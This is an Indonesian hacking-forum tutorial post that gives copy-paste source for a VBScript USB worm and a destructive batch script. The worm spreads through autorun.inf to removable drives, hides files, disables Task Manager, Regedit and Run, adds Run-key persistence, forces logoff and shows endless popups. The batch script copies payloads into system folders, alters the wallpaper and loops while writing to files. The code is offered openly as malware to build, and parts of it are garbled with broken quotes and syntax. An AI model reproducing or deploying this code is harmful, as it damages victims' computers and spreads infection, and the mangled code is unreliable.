• Silahkan bergabung dengan chat kami di Telegram group kami di N3Forum - https://t.me/n3forum
  • Welcome to the Nyit-Nyit.Net - N3 forum! This is a forum where offline-online gamers, programmers and reverser community can share, learn, communicate and interact, offer services, sell and buy game mods, hacks, cracks and cheats related, including for iOS and Android.

    If you're a pro-gamer or a programmer or a reverser, we would like to invite you to Sign Up and Log In on our website. Make sure to read the rules and abide by it, to ensure a fair and enjoyable user experience for everyone.

[TUTOR]virus berbahaya NOTEPAD

indrayusuf28

Belum Sekolah
Level 0
ass,berjumpa lagi dengan saya aditia dermawan surbakti
sekrang kita akan membahas tentang membuat VIRUS melalui NOTEPAD,
soalny saya masi GALAU ni gara2 ada maasalah ni,mkny posting pun jm 4 pagi

ok gan tanpa basa basi langsung aja ya.....
langkah 1. buka notepad
2. silahkan di copas nih secrip
PHP Code:[background=black]


Content
//-ishal-//

//-INI VIRUS BERBAHAYA JANGAN DIBUAT MAIN-MAIN!!!!!!!-//

//-Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian
lanjutkan kegiatan virus-//

on error resume next

//-Dim kata-kata berikut ini-//

dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd

//-Set sebuah teks yang nantinya akan dibuat untuk
Autorun Setup Information-//

atr = [autorun]&vbcrlf&”shellexecute=wscript.exe terserah.exe.vbs”

set fs
= createobject(”Scripting.FileSystemObject”)

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size
= mf.size

check
= mf.drive.drivetype

set text
=mf.openastextstream(1,-2)

do while
not text.atendofstream

mysource
=mysource&text.readline

mysource
=mysource & vbcrlf

loop


do

//-Copy diri untuk menjadi file induk di Windows Path
(example: C:\Windows)-//

Set winpath = fs.getspecialfolder(0)

set tf = fs.getfile(winpath & \terserah.exe.vbs”)

tf.attributes = 32

set tf
=fs.createtextfile(winpath & \terserah.exe.vbs”,2,true)

tf.write mysource

tf
.close

set tf
= fs.getfile(winpath & \bosgentongs.exe.vbs”)

tf.attributes = 39

//-Buat Atorun.inf untuk menjalankan virus otomatis
setiap flash disc tercolok-//

//-Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket-//

for each flashdrive in fs.drives

//-Cek Drive-//

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path
“A
:” then

//-Buat Infector jika ternyata Drivetypr 1 atau 2. Atau
A:\-//

set tf=fs.getfile(flashdrive.path &\bosgentongs.exe.vbs”)

tf.attributes =32

set tf
=fs.createtextfile(flashdrive.path &\bosgentongs.exe.vbs”,2,true)

tf.write mysource

tf
.close

set tf
=fs.getfile(flashdrive.path &\erwinda_putra.exe.vbs”)

tf.attributes =39

//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan
(Auto Setup Information)-//

set tf =fs.getfile(flashdrive.path &\autorun.inf”)

tf.attributes = 32

set tf
=fs.createtextfile(flashdrive.path &\autorun.inf”,2,true)

tf.write atr

tf
.close

set tf
=fs.getfile(flashdrive.path &\autorun.inf”)

tf.attributes=39

end
if

next

//-Manipulasi Registry-//

set rg = createobject(”WScript.Shell”)

//-Manip – Ubah Title Internet Explorer menjadi
terserah v.s. ANTIVIRUS-//

rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Interne t Explorer\Main\Window
Title”
,” THE BOSGENTONGS v.s. ANTIVIRUS “

//-Manip – Set agar file hidden tidak ditampilkan di
Explorer-//

rg.RegWrite
“HKEY_CURRENT_USER
\Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\Advanced\Hidden”,
“0”, “REG_DWORD”

//-Manip – Hilangkan menu Find, Folder Options, Run, dan
memblokir Regedit dan Task Manager-//

rg.RegWrite
“HKEY_CURRENT_USER
\Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoFind”,
“1”, “REG_DWORD”

rg
.RegWrite
“HKEY_CURRENT_USER
\Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoFolderOptions”,
“1”, “REG_DWORD”

rg
.RegWrite
“HKEY_CURRENT_USER
\Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoRun”,
“1”, “REG_DWORD”

rg
.RegWrite
“HKEY_CURRENT_USER
\Software\Microsoft\Windows \Curr entVersion\Policies\System\DisableRegistryTools”,
“1”, “REG_DWORD”

rg
.RegWrite
“HKEY_CURRENT_USER
\Software\Microsoft\Windows \Curr entVersion\Policies\System\DisableTaskMgr”,
“1”, “REG_DWORD”

//-Manip – Disable klik kanan-//

rg.RegWrite
“HKEY_CURRENT_USER
\Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoViewContextMenu”,
“1”, “REG_DWORD”

//-Manip – Munculkan Pesan Setiap Windows Startup-//

rg.regwrite
“HKEY_LOCAL_MACHINE
\Software\Microsoft\Window s\Cur rentVersion\Winlogon\LegalNoticeCaption”,
“Worm Kalong. Variant from Bosgentongs, don’t panic all data are safe.

rg
.regwrite “”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windo ws
NT
\CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR
SISTEM
!!! MAKA BERDOALAH AGAR TIDAK TERJADI“

//-Manip – Aktif setiap Windows Startup-//

rg.regwrite
“HKEY_LOCAL_MACHINE
\Software\Microsoft\Window s\Cur rentVersion\Run\Systemdir”,
winpath & \batch- bosgentongs.exe.vbs “

//-Manip – Ubah RegisteredOwner dan Organization-//

rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s
NT
\CurrentVersion\RegisteredOrganization”, “terserah”

rg
.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s
NT
\CurrentVersion\RegisteredOwner”,”terserah”

//-Manip – Membuat Cadangan di sistem svchost, MS32Dll
dan membuat ikon-//

rg.regwrite
“HKEY_LOCAL_MACHINE
\Software\Microsoft\Window s\Cur rentVersion\Run\svchost”,winpath&\terserah.exe.vb s”

rg
.regwrite
“HKEY_LOCAL_MACHINE
\Software\Microsoft\Window s\Cur rentVersion\Run\MS32DLL”,"

rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3”

‘//-Manip – Me-Log off komputer setelah log on BOLEH
DIHAPUS KLO MAU LIHAT EFEKNYA!!!-//

rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Window s\Cur rentVersion\Run\Logoff”,
winpath & “\System32\Logoff.exe”

‘//-Fungsi di untuk mengaktifkan kembali script dan
mengulangnya kembali-//

if check 1 then

Wscript.sleep 100000

end if

loop while check1

set sd = createobject(”Wscript.shell”)

sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

do while year(now) >= 2009

WScript.sleep 20000

‘//-Memunculkan pesan window terus menerus-//

msgbox “Selamatlah virus ini tiba di sistem ente” & vbcrlf & _

“kulo nyuwun pangapuranipun menawi sampung mengganggu ente sekalian” & vbcrlf &
_

“jangan kawatir dan sedih, aku tidak akan kuasai komputer bobrok ini. kini ente
sudah masuk dalam permainanku” & vbcrlf & _

“ini hanya permainnaku yang aku kesepian di sini” & vbcrlf & _

vbcrlf & vbcrlf & _

” elok-elok indah kehidupan bukan kenyataan” & vbcrlf & vbcrlf & _

” saatnya kini aku bangkit dalam mimpi ituk“

‘//-Mengulang kode script-//
loop

simpan dengan nama terserah.exe.vbs


lalu bisa juga nih kalo yang mau make .bat secripnya bisa di copas[background=black]

PHP Code:


Content
cd C
:\

mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH
MENCARI PACAR
/ADA YANG MAU?

cd C:\Windows\

mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH
MENCARI PACAR
/ADA YANG MAU?

cd C:\Windows\System32\

mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH
MENCARI PACAR
/ADA YANG MAU?

cd D:\

mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH
MENCARI PACAR
/ADA YANG MAU?

@echo
off

copy bosgentongsvirus
.bmp %systemdrive%\ /y

copy bosgentongsvirus
.bmp %systemdrive%\WINDOWS\ /y

copy bosgentongsvirus
.bmp %systemdrive%\WINDOWS\system32\ /y

copy bosgentongsvirus
.exe %systemdrive%\ /y

copy bosgentongsvirus
.exe %systemdrive%\WINDOWS\ /y

copy bosgentongsvirus
.exe %systemdrive%\WINDOWS\system32\ /y

reg add “HKEY_LOCAL_MACHINE
\SOFTWARE\Microsoft\Window s
NT
\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM
BOSGENTONGS”
/f

reg add “HKEY_LOCAL_MACHINE
\SOFTWARE\Microsoft\Window s
NT
\CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR
SISTEM
!!! MAKA BERDOALAH AGAR TIDAK TERJADI” /f

reg add “HKEY_LOCAL_MACHINE
\SOFTWARE\Microsoft\Window s\Cur rentVersion\Run” /v
bosgentongsvirus
/d %systemdrive%\windows\system32\bosgentongsvirus.ex e /f

reg add “HKEY_CURRENT_USER
\Control Panel\Desktop” /v Wallpaper /d
%systemdrive%\WINDOWS\system32\bosgentongsvirus.bm p /f

reg add “HKEY_CURRENT_USER
\Control Panel\Desktop” /v WallpaperStyle /d 0 /f

reg add “HKEY_CURRENT_USER
\Control Panel\Colors” /v window /d #C10000 /f

reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d
%systemdrive%\WINDOWS\system32\bosgentongsvirus.bm p /f

:bgvirus

echo>>Albert.reg

echo>>Anak.chm

echo>>Ideal.dll

echo>>Sekali.htt

cls


goto bgvirus

echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$

echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$

echo
——————————————————-

echo =============
BOSGENTONGS love HACKER ==============

echo =============
THX TO KALLONG ==============

echo =============
Tangerang, 1 oktober 2010 ==============

echo
——————————————————-

echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$

echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$

echo


echo AWAS JANGAN PENCET TOMBOL APAPUN!

echo
Atau memori anda akan penuh

echo

echo Mendeteksi apabila tombol keyboard dipencet …….

Pause>null

:bgvirus

echo>>Albert.reg

echo>>Anak.chm

echo>>Ideal.dll

echo>>Sekali.htt
echo>>Yes.txt

Mohon ini tutuor jangan di salah gunakan... ini virus yang sangat berbahaya sekali...
keterangan :

Yang Di miringin: ga Usah Ditulis Karena hanya Sebagai Petunjuk Saja
Yang Di Tebelin: bisa diganti tulisannya

Penulis tidak bertangung jawab apa bila terjadi kerusakan pada komputer kalian smua ^_^
 
Last edited by a moderator:
Top